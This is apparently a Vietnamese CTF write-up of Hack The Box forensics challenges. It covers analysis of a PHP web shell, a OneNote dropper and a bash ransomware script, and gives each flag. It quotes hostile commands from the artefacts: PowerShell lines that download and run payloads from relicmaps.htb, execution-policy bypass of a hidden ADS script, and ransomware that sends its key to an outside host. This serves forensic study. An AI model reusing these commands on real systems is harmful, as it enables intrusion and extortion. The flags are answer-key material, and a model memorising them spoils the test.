Với những bài "Very Easy" thì mình chỉ đi lướt qua vì nó cũng không có nhiều thứ để làm.
Ctrl F, Packet Details -> Username
Flag: HTB{th3s3_4l13ns_st1ll_us3_HTTP}
Mở file .ps1 lên, ta dễ dàng thấy flag
Flag: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}
Mở .sh file lên
Decode đoạn string dài ngoằng đấy
Flag: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}
Sau khi đọc decription thì mình chú ý đến đoạn này They suspect that some kind of shell has been uploaded
, vậy là bài này sẽ liên quan tới shell và được uploaded thông qua HTTP.
Mình mở export object HTTP lên và bị choáng ngợp nhè nhẹ bởi số lượng file.
Để tiện phân tích file bên trong thì mình dùng NetworkMiner (ưu điểm là nó sẽ dump file ra sẵn cho mình và khi mình close thì sẽ xoá).
Có kha khá file nhưng mà chả có gì đặc biệt nên để tránh dài dòng thì mình sẽ không đề cập ở đây.
Quay lại Wireshark, mình có để ý đến mấy packet có phương thức GET này nên dùng Tshark để dump ra.
Xem 1 hồi thì mình để ý đoạn này thì thấy phương thức GET
gửi 1 file tên là galacticmap.php
lên đường dẫn dir=%2Fvar%2Fwww%2Fhtml%2Fuploads
.
Thế là mình tìm cái file này và phân tích nó.
Mở lên thì mình nhận ra đây là PHP Shell.
Okay, hãy phân tích qua đoạn code:
Biến $iyzQ5h8qf6
được khởi tạo với chuỗi trống. Dấu ".=" dùng để nối chuỗi với chuỗi đã tồn tại, tức là nó sẽ nối tất cả chuỗi của biến $iyzQ5h8qf6
thành 1 chuỗi dài.
Biến $pPziZoJiMpcu
có giá trị là 82, biến $liGBOKxsOGMz = array()
được khởi tạo là mảng.
Chạy vòng lặp từng 0 đến 82, đặt mỗi giá trị bên trong mảng $liGBOKxsOGMz[]
là "", sau đó chạy vòng lặp lồng nhau để thêm chuỗi vào trong từng giá trị trong mảng. Cuối cùng là nối các phần tử trong mảng và xoá khoảng trắng, tab,… rồi gán vào biến $bhrTeZXazQ
Sau đó chạy lệnh eval( $bhrTeZXazQ );
để thực thi $bhrTeZXazQ
Mình chỉ cần đổi eval thành echo rồi cho in ra chương trình thực thi là ra flag.
Thực ra lúc đầu mình cũng không phân tích nhiều vậy đâu, đọc sơ qua hiểu code rồi mình google lệnh in ra màn hình là echo
thì thay cho eval là ra. Này viết wu nên phân tích kỹ tí thôi :))).
Flag: HTB{W0w_ROt_A_DaY}
Bài này thuộc dạng trả lời câu hỏi, trả lời đúng hết thì được flag (mình khá thích cái này vì mình thường biết sẽ làm gì khi gặp câu hỏi :v, còn không phải guess rồi mò nếu gặp phải bài có đề không tường minh nữa)
Bài cho mình folder Logs và Sigma-rules, đồng thời đề bài gợi ý mình dùng tool "chainsaw" nên mình đã tìm hiểu cách sử dụng tool này. Về cách cài đặt hay cách dùng gì đấy bạn có thể tham khảo ở link dưới.
https://github.com/WithSecureLabs/chainsaw
Đây là giao diện sau khi mình chạy tool:
Okay, trả lời câu hỏi nào:
Flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}
Bài này mình sẽ phân tích file trên ổ đĩa ảo (vhdx).
Sau khi đọc decription thì mình chú ý tới dòng này her heart races as she notices the Windows Event Viewer tab open on the Security log.
Mình mở Security Logs xem có gì "lạ" hay không.
Mình vào C\Windows\System32\winevt\logs
mở Security.evtx
lên, sau một hồi tìm kiếm thì mình thấy 1 log đáng nghi.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass - < C:\Windows\Tasks\ActiveSyncProvider.dll:hidden.ps1
ở đây powershell dùng parameter -ep bypass
, chạy 1 file tên là hidden.ps1
nằm ở Windows\Tasks
Mình vào thẳng trong ổ đĩa ảo và vào thư mục đấy nhưng mà không thấy cái gì.
Sau đó mình dùng FTK mở ổ đĩa này lên.
Mình mở file hidden.ps1
lên bằng ISE thì thấy nó có lệnh -WindowStyle hiddeN -ExecuTionPolicy ByPasS
để ẩn cửa sổ và bypass policy. Theo sau là lệnh powershell ẩn bị enc.
Update: Sau một hồi đọc writeup của nhiều người khác và thông qua đọc 1 vài bài viết thì mình biết được rằng hidden.ps1
là ADS (Alternate Data Stream) bên trong ActiveSyncProvider.dll
. Thì mình tìm được cách để xác định vị trí và đọc nội dung của ADS.
Tham khảo: https://www.malwarebytes.com/blog/news/2015/07/introduction-to-alternate-data-streams https://learn.microsoft.com/en-us/sysinternals/downloads/streams https://blog.netwrix.com/2022/12/16/alternate_data_stream/ https://blog.ironmansoftware.com/daily-powershell/powershell-alternate-data-streams/#:~:text=Read Alternate Data Streams on Windows with PowerShell,for the zap.sh file. …%203%20Unblock-File%20 https://owasp.org/www-community/attacks/Windows_alternate_data_stream#:~:text=Alternate data streams allow files to contain more,but they can be created and accessed easily. https://www.bleepingcomputer.com/tutorials/windows-alternate-data-streams/
Mình dùng tool https://github.com/Malandrone/PowerDecode để decode powershell.
Bùm
Flag: HTB{Y0U_C4nt_St0p_Th3_Alli4nc3}
Với bài này thì mình sẽ phải thay link http://relicmaps.htb:/relicmaps.one
bằng địa chỉ ip trong docker và tải về file relicmaps.one
File có đuôi là one
là file One Notes.
Vì lúc đầu máy báo file này virus nên mình ném vào sanbox any.run
để xem cách nó hoạt động.
Khái quát sơ về cách hoạt động của file này.
Nếu ta chỉ mở nó bằng One Notes và không thực hiện thêm bất cứ điều gì thì nó sẽ không thực hiện bất kỳ lệnh nào.
Nó chỉ chạy các script độc ẩn bên trong khi nhấn vào "Click to view document".
Ở process 2836
nó chạy lệnh cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one
và mở Powershell ở process 2588
để chạy lệnh powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\tsmap.one; Start-Process -Filepath $env:tmp\tsmap.one
, mục tiêu là tải về file topsecret-maps.one
và đặt tại tmp
.
Tiếp theo process 1272
chạy lệnh cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat
và mở Powershell ở process 3200
thực hiện lệnh powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath $env:tmp\system32.bat
, mục tiêu là thực hiện tải về file window.bat
và đặt tại tmp
với tên là system32.bat
Okay, vậy mình sẽ tải về file window.bat về để phân tích. Nếu gõ nguyên cái địa chỉ đấy vào thì sẽ không tải được, vì thế mình thay nó bằng ip docker
Hoặc cũng có thể tải về bằng cách dùng PowerShell ISE
Vào PowerShell ISE và nhập lệnh powershell Invoke-WebRequest -Uri http://167.99.86.8:31749/get/DdAbds/window.bat -OutFile 'locationyouwanttodownload'\window.bat
thì chương trình sẽ tự tải xuống.
Khi mình dùng cách gõ trên thanh địa chỉ thì nó sẽ như thế này
Khi mình dùng cách là dùng ISE thì chương trình sẽ tự tải về đường dẫn mà mình chọn luôn.
Mở file bat lên thì chỉ thấy nó chạy 1 hộp thoại CMD trống rồi tự động tắt.
Sau đó nó tạo ra 1 file tên là window.bat.exe
Mình edit file bat, sửa echo off thành echo on. Bạt lại lên thì thấy nó chạy 1 đống lệnh
Mình mở edit file bat lên (vì nó dài vãi lồng nên mình sẽ không chụp hay paste đầy đủ đoạn code lên đây mà chỉ phân tích). File batch chứa mấy cái biến trông có vẻ vô nghĩa nhưng khi nó ghép với nhau thì lại thành mã thực thi, đây cũng là cách obfuscate ta thường thấy ở shell.
Ở đây mình thấy có lệnh cls, tức là sau khi set các biến kia xong thì chương trình sẽ tự động clear console
Mình sẽ xoá lệnh cls và thêm lệnh Pause để xem chương trình nó sẽ in ra cái gì
Batch file sau khi set các biến thì ghép nó lại rồi thực thi 1 lệnh tạo 1 file tên là window.bat.exe
Lệnh tiếp theo nó sẽ cd
tới đường dẫn chứa file window.bat.exe
Tiếp theo nó chạy script trong file window.bat.exe
, console chỉ hiện thoáng qua script này rồi tắt. Script này sẽ chạy ẩn mà không hiện cửa sổ, bypass policy, và thực hiện command.
Để tiện phân tích thì mình đã xoá bớt các lệnh đầu của script đấy bằng cách xoá bớt một vài biến trong đoạn này. Rồi sau đấy copy đoạn code đấy vào ISE để phân tích.
Giải thích tổng quát copy từ chatGPT =)))
Giải thích cụ thể thì: đầu tiên biến $eIfqq
đọc dữ liệu từ file window.bat
rồi tách từng dòng.
Sau đó nó thực hiện vòng lặp foreach
đọc từng dòng trong $eIfqq
. Nếu có dòng nào bắt đầu bằng ::
thì nó sẽ lấy substring thứ 3 của dòng đó gán vào biến $VuGcO
.
Tiếp theo biến $uZOcm
sẽ nhận giá trị convert base64 từ biến $VuGcO
.
Biến $BacUA
được khởi tạo là 1 instance của lớp System.Security.Cryptography.AesManaged
với đầy đủ chức năng của mật mã AES như Mode: CBC, Padding: PKCS7, Key, IV.
Biến $Nlgap
khởi tạo trình giải mã.
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
giải mã dữ liệu đã được mã hóa bằng AES. Phương thức TransformFinalBlock()
được gọi trên đối tượng ICryptoTransform
đã được tạo ra trước đó và truyền vào ba tham số. Tham số đầu tiên là dữ liệu cần giải mã, tham số thứ hai là vị trí bắt đầu giải mã và tham số cuối cùng là độ dài của dữ liệu cần giải mã. Kết quả của phương thức này là dữ liệu được giải mã và được gán cho biến $uZOcm
.
$Nlgap.Dispose();$BacUA.Dispose();
, chương trình sẽ giải phóng tài nguyên được sử dụng bởi 2 đối tượng này.
Các dòng code sau chương trình sẽ sử dụng chuỗi được giải mã rồi nén lại, sau đó biến đổi thành mảng rồi gán data vào biến $uZOcm
. Sau đó cuối cùng thì nó tạo ra 1 file thực thi rồi chạy chương trình.
Sau khi phân tích xong thì mình sửa đoạn code cho nó in ra cái mảng.
Rồi mình copy cái mảng lên Cyberchef, convert from Decimal. Thì như bạn đã thấy thì đây là 1 file thực thi.
Mình tải về với định dạng txt và mở lên thấy flag
Hoặc tải về dưới dạng exe rồi dùng dotPeek decompile cũng được
Flag: HTB{0neN0Te?_iT'5_4_tr4P!}
Bài này cho ta 1 file memory dump, 1 file pcap, symbol của linux và file flag.txt bị mã hoá đuôi là .a59ap
Mình ném symbol vào thư mục symbol của volatility3.
Sau đó mở file memory dump với lệnh:
py vol.py -f 'forensics.mem' linux.bash
Trong bash history, mình thấy lệnh curl
nhận file rồi giải mã nó bằng base64 xong sau đó thực thi.
Okay, vậy tiếp theo mình sẽ check network packet tại thời điểm lệnh curl
được thực thi.
Follow HTTP Stream, mình thấy được nội dung của file Kxr43fMD9t.manifest
.
Bạn có thể tải về file này thông qua HTTP Object
Mình copy nội dung của file .manifest
rồi dán lên CyberChef sau đó decode Base64.
Thì nhận được 1 đoạn script có nội dung như sau:
Đây là bash shell. Chương trình đã bị obfuscated khiến cho việc phân tích trở nên khó khăn hơn. Khi mà ta ghép các biến lại thì nó sẽ tạo thành 1 chuỗi lệnh.
Lệnh
sẽ ghép các biến đó với nhau thành 1 string là mã thực thi rồi dùng hàm eval()
thực thi lệnh đó.
Mình sẽ thay đổi eval()
của biến x thành echo()
Mình cho chạy file bash trên và bùm, nó in ra script bên trong. Có vẻ như đây là chương trình đã mã hoá file flag.txt
.
Giải thích sơ qua về đoạn code:
Hàm uFMHx73AXNF6CTsbtzYM()
thực hiện decode khoá công khai đã bị mã hoá base64 rồi import vào gpg, sau đó đánh dấu khoá đấy với tên là "RansomKey".
Hàm MMYPE1MNIGuGPBmyCUo6()
:
Đầu tiên, biến DhQ52B6UugM1WcX
được tạo ra bằng cách strings characters ngẫu nhiên trong streams được generates từ /dev/urandom
, sau đó grep
lọc ra chỉ alphanumeric character, head -n 16
in ra chỉ 16 characters đầu tiên của stream, tr -d '\n'
delete newline character bất kỳ từ output.
Sau đó nó gán giá trị của biến $DhQ52B6UugM1WcX
vào biến RxgXlDqP0h3baha
, rồi mã hoá giá trị đấy vào biến qgffrqdGlfhrdoE
, xong việc thì xoá biến RxgXlDqP0h3baha
đi rồi gửi lên https://files.pypi-install.com/packages/recv.php
biến qgffrqdGlfhrdoE
.
Ban đầu mình nghĩ cái trang https://files.pypi-install.com/packages/recv.php
vào được nhưng không. Trang này, sau khi dùng để tạo challenge thì họ xoá mất, lúc vào thì nó chuyển sang link rickroll =))))).
Đoạn này mã hoá tất cả các file thành file .a59ap
sử dụng AES 256 với khoá riêng là chuỗi nằm trong biến $DhQ52B6UugM1WcX
v0nPa1GinWR3Dr27cnmT()
hàm này in tin tống tiền thôi nên mình sẽ bỏ nó đi lúc phân tích.
ExoPFDWb3uT189e()
hàm này thực thi 2 hàm trên.
Đoạn code này kiểm tra xem người dùng có phải là developer7669633432
thì thực hiện hàm ExoPFDWb3uT189e()
để mã hoá dữ liệu.
Okay, vậy là bây giờ mình cần phải tìm passphrase, tức là chuỗi ngẫu nhiên được tạo ra nằm trong biến $DhQ52B6UugM1WcX
. Vậy ta tìm ở đâu?
Khi check memory dump dùng plugin bash thì sẽ không tìm thấy vì tác giả có vẻ đã xoá lịch sử bash nên ta sẽ không tìm thấy gì trong đó. Nhưng, bạn biết công cụ hữu dụng và tuyệt vời nhất khi phân tích memory dump là gì không?
Đúng rồi đấy, STRINGS GREP
.
Ban đầu mình dùng lệnh grep tìm "gpg",…rồi tới tìm qua các lệnh nằm trong file bash như echo $DhQ52B6UugM1WcX
thì tìm được data của biến tljyVe4o7K3yOdj
:))), rồi suy nghĩ 1 hồi thì mình để ý thấy passphrase nó có 16 ký tự nên mình dùng regular expression tìm kiếm tất cả chuỗi có 16 ký tự.
Mình dùng lệnh: strings forensics.mem | grep '^[a-zA-Z0-9]\{16\}$' -C 2
để tìm, và bùm.
Mình dùng chuỗi trên và thay đổi code 1 tí để decrypt file flag.txt.a59ap
Và bùm
Mở file đã decrypt lên:
Flag: HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}
Vâng, 4 tiếng của tôi, và idol Bquanman:
Cách tìm passphrase khác (cách này sau khi giải ra thì idol Bquanman chỉ cho):
Dùng plugin này: https://github.com/kudelskisecurity/volatility-gpg
Nhập lệnh và bùm:
Tài liệu đọc thêm: https://www.nas.nasa.gov/hecc/support/kb/using-gpg-to-encrypt-your-data_242.html